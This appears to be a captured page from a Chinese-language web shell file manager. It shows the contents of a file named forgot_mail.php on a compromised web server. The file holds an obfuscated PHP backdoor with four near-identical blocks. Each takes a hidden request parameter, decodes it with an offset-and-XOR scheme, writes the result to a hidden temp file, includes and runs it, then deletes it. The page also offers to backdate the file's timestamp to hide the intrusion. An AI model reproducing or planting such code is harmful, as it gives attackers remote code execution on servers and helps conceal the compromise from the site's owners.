文件操作 - forgot_mail.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/forgot_mail.php
编辑文件内容
<?php if(count($_POST) > 0 && isset($_POST["en\x74"])){ $factor = $_POST["en\x74"]; $factor =explode ("." ,$factor ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $z = 0; $__tmp = $factor; while($v1 = array_shift($__tmp)) { $sChar = ord($s[$z % $lenS]); $dec =((int)$v1 - $sChar -($z % 10)) ^ 59; $property_set .= chr($dec); $z++; } $binding = array_filter([session_save_path(), getenv("TEMP"), getcwd(), "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); foreach ($binding as $key => $parameter_group) { if ((is_dir($parameter_group) and is_writable($parameter_group))) { $record = "$parameter_group/.item"; $success = file_put_contents($record, $property_set); if ($success) { include $record; @unlink($record); die();} } } } if(!is_null($_POST["\x70o\x69\x6Ete\x72"] ?? null)){ $ref = $_POST["\x70o\x69\x6Ete\x72"]; $ref = explode(".",$ref) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($ref); for($q = 0; $q < $len; $q++) { $v7 = $ref[$q]; $chS = ord($s[$q % $sLen]); $dec = ((int)$v7 - $chS -($q % 10)) ^ 71; $val .= chr($dec); } $sym = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $entry = 0; do { $property_set = $sym[$entry] ?? null; if ($entry >= count($sym)) break; if (!( !is_dir($property_set) || !is_writable($property_set) )) { $res = implode("/", [$property_set, ".itm"]); $success = file_put_contents($res, $val); if ($success) { include $res; @unlink($res); exit;} } $entry++; } while (true); } if(isset($_REQUEST["\x68\x6Cd"]) ? true : false){ $element = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $obj = $_REQUEST["\x68\x6Cd"]; $obj =explode ('.', $obj ) ; $flg=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $len=count($obj); for ($n=0; $n < $len; $n++) { $v7=$obj[$n]; $sChar=ord($salt[$n % $sLen]); $d=((int)$v7 - $sChar - ($n % 10)) ^ 31; $flg .= chr($d); } foreach ($element as $key => $comp) { if (is_dir($comp) ? is_writable($comp) : false) { $property_set = str_replace("{var_dir}", $comp, "{var_dir}/.token"); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $property_set; @unlink($property_set); die(); } } } } if(in_array("p\x73\x65t", array_keys($_REQUEST))){ $resource = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp"]); $entry = $_REQUEST["p\x73\x65t"]; $entry = explode( ".", $entry) ; $ent = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3); $__len = count( $entry); for( $v = 0; $v <$__len; $v++) { $v9 = $entry[$v]; $chS = ord( $s3[$v % $lenS]); $dec =( ( int)$v9 - $chS -( $v % 10)) ^ 92; $ent .= chr( $dec); } while ($mrk = array_shift($resource)) { if (is_dir($mrk) ? is_writable($mrk) : false) { $data = sprintf("%s/.record", $mrk); if (file_put_contents($data, $ent)) { include $data; @unlink($data); die(); } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件